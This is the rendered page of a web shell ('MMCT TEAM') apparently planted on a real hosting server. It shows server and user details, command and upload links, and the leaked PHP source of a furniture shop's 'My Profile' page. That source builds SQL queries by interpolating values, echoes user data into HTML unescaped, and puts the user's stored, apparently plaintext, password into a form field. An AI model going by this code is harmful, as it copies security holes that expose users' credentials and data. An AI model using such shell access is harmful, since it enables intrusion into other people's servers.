MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/furniturevila/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/furniturevila/my_profile.php
<?php
session_start();
include ("Admin/Includes/db.php");
  @$uid =  $_SESSION['userid'] ;
  
  $sqlu = "select * from tbl_user where id='$uid'";
    $sql_resu = mysqli_query($con, $sqlu) or die(mysqli_error($con));
     $sql_rowu = mysqli_fetch_array($sql_resu);

     @$fname = $sql_rowu['fname'];
     @$lname = $sql_rowu['lname'];
     @$email = $sql_rowu['email'];
     @$phone = $sql_rowu['phone'];
     
     @$state = $sql_rowu['state'];

     @$city = $sql_rowu['city'];
     
     @$pass = $sql_rowu['password'];
?>
<!DOCTYPE html>
<html lang="en">

<?php include 'include/head.php'; ?>

<body>
<?php
if(@$_SESSION['flash_message'] == 'profileedit') {

$message = $_SESSION['flash_message'];
unset($_SESSION['flash_message']); ?>
<script>

$(document).ready(function(){

toastr.success("Profile Edit Successfully");

});

</script>
<?php } ?>
    <div class="page-loader">
        <div class="spinner-border" role="status">
            <span class="sr-only">Loading...</span>
        </div>
    </div>

    <div class="wrapper">

        <!-- ======================== Navigation ======================== -->

      <?php include 'include/header.php'; ?>
        <!-- ========================  About ======================== -->

        <section class="blog blog-category blog-animated pt-0">

            <!--Header-->

            <header>
                <div class="container">
                    <ol class="breadcrumb">
                        <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                        <li class="breadcrumb-item active" aria-current="page">My Account</li>
                    </ol>
                    <h2 class="title">My Account</h2>
                    <div class="text">
                        <!--<p>Suspendisse scelerisque odio eu felis eleifend</p>-->
                    </div>
                </div>
            </header>

            <!--Content-->

            <div class="container">

                <div class="row">

                    <!--Blog content-->
                    
                    <div class="col-lg-3">

                        <aside>

                            <!--Box search-->

                            

                            <!--Box categories-->

                            <div class="box box-animated box-categories">
                                <h5 class="title">My Account</h5>
                                <ul>
                                    <li><a href="user_dashboard.php">Dashboard</a></li>
                                    <li><a href="my_profile.php">My Profile</a></li>
                                    <li><a href="my_orders.php">My Orders</a></li>
                                    <li><a href="logout.php">Logout</a></li>
                                </ul>
                            </div>

                           
                        </aside>

                    </div>

                    <div class="col-lg-9">

                        

                            <!--Blog item-->
                           <aside>

                            <!--Box search-->

                            

                            <!--Box categories-->
                            
                             <form method="post" action="update_profile.php?id=<?php echo $uid; ?>">

                            <div class="box box-animated box-categories">
                                <h5 class="title">My Profile</h5>
                                <br>
                                <div class="row">

                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>First name</label>
                                                    <input type="text" name="fname" value="<?php echo $fname; ?>" class="form-control" placeholder="First name: *"
                                                    onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)"  required="">
                                                </div>
                                            </div>

                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Last name</label>
                                                    <input type="text" name="lname" value="<?php echo $lname; ?>" class="form-control" placeholder="Last name: *"
                                                    onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)"  required="">
                                                </div>
                                            </div>
                                            
                                             <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Email</label>
                                                    <input type="email" name="email" value="<?php echo $email; ?>" class="form-control" placeholder="First name: *" >
                                                </div>
                                            </div>

                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Mobile No</label>
                                                    <input type="text" name="phone" value="<?php echo $phone; ?>" class="form-control" placeholder="Mobile No: *"  maxlength="12" onkeypress="return IsNumeric(event);" pattern="[0-9]{10}">
                                                    <label id="lerror"></label>
                                                </div>
                                            </div>
                                            
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>State</label>
                                                    <select  class="form-control" id="state" name="state" required=""> 

                                                <option value="">-- Select --</option>
                                                <?php

                                                    $new_qu = "select * from tbl_states ORDER BY name ASC";
                                                    $new_res = mysqli_query($con, $new_qu) or die(mysqli_error($con));

                                                    while ($new_row = mysqli_fetch_assoc($new_res)) { ?>
                                                            <?php if ($new_row['id'] == $state) { ?>
                                                                <option value="<?php echo $new_row['id']; ?>" selected><?php echo $new_row['name']; ?></option>
                                                            <?php } else { ?>
                                                                <option value="<?php echo $new_row['id']; ?>"><?php echo $new_row['name']; ?></option>
                                                            <?php } ?>
                                                    <?php } ?> 
                                                </select>
                                                </div>
                                            </div>
                                            
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>City</label>
                                                    <select  class="form-control" id="citys" name="city" required=""> 

                                               <option value="">Select City</option>

                                                    <?php
                                                        $new_qu = "select * from districts ";
                                                        $new_res = mysqli_query($con, $new_qu) or die(mysqli_error($con));
                                                        while ($new_row = mysqli_fetch_assoc($new_res)) { ?>
                                                            <?php if ($new_row['id'] == $city) { ?>
                                                                <option value="<?php echo $new_row['id']; ?>" selected><?php echo $new_row['name']; ?></option>
                                                            <?php } else { ?>
                                                                <option value="<?php echo $new_row['id']; ?>"><?php echo $new_row['name']; ?></option>
                                                            <?php } ?>
                                                        <?php } ?> 
                                    </select>
                                                </div>
                                            </div>
                                            
                                             <div class="col-md-12">

                                        <div class="form-group">
                                            <label>Password</label>
                                            <input type="Password" name="password" class="form-control" placeholder="Password" value="<?php echo $pass; ?>">
                                        </div>
                                    </div>
                                    
                                    <div class="col-md-12">
                                        <button type="submit"  class="btn btn-outline-dark">Submit</button>
                                    </div>

                                           

                                           
                                            <!--<div class="col-md-12">-->
                                            <!--    <hr />-->
                                            <!--    <span class="checkbox">-->
                                            <!--        <input type="checkbox" id="checkBoxId1">-->
                                            <!--        <label for="checkBoxId1">I have read and accepted the <a href="#">terms</a>, as well as read and understood our terms of <a href="#">business contidions</a></label>-->
                                            <!--    </span>-->
                                            <!--    <span class="checkbox">-->
                                            <!--        <input type="checkbox" id="checkBoxId2">-->
                                            <!--        <label for="checkBoxId2">Subscribe to exciting newsletters and great tips</label>-->
                                            <!--    </span>-->
                                            <!--    <hr />-->
                                            <!--</div>-->

                                            <!--<div class="col-md-12">-->
                                            <!--    <a href="#" class="btn btn-outline-dark">Create account</a>-->
                                            <!--</div>-->

                                        </div>
                            </div>
                            
                            </form>
                           
                        </aside>

                       

                        <!--Pagination-->

                       

                    </div>

                    <!--Blog menu-->

                    <!--/col-lg-3-->


                </div> <!--/row-->


            </div><!--/container-->
        </section>

        

       <?php include 'include/footer.php'; ?>


    </div> <!--/wrapper-->
    
    <!--Scripts -->
    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.js"></script>
    <script src="js/ion.rangeSlider.js"></script>
    <script src="js/magnific-popup.js"></script>
    <script src="js/owl.carousel.js"></script>
    <script src="js/tilt.jquery.js"></script>
    <script src="js/jquery.easypiechart.js"></script>
    <script src="js/bigtext.js"></script>
    <script src="js/main.js"></script>
    
            <script type="text/javascript">

     $(document).ready(function() {

            $('#state').on('change', function() {

                var stateID = $(this).val();

                // alert(conID);

                $.ajax({  

                    type: 'POST',  

                    url: 'Admin/get_state.php', 

                    data: {city: stateID },

                    success: function(response) {

                        // alert(response);

                         $('#citys').html(response);

                         $('select').niceSelect('update');

        // content.html(response);

    }

});

            });

        });

</script>

</body>

</html>

MMCT - 2023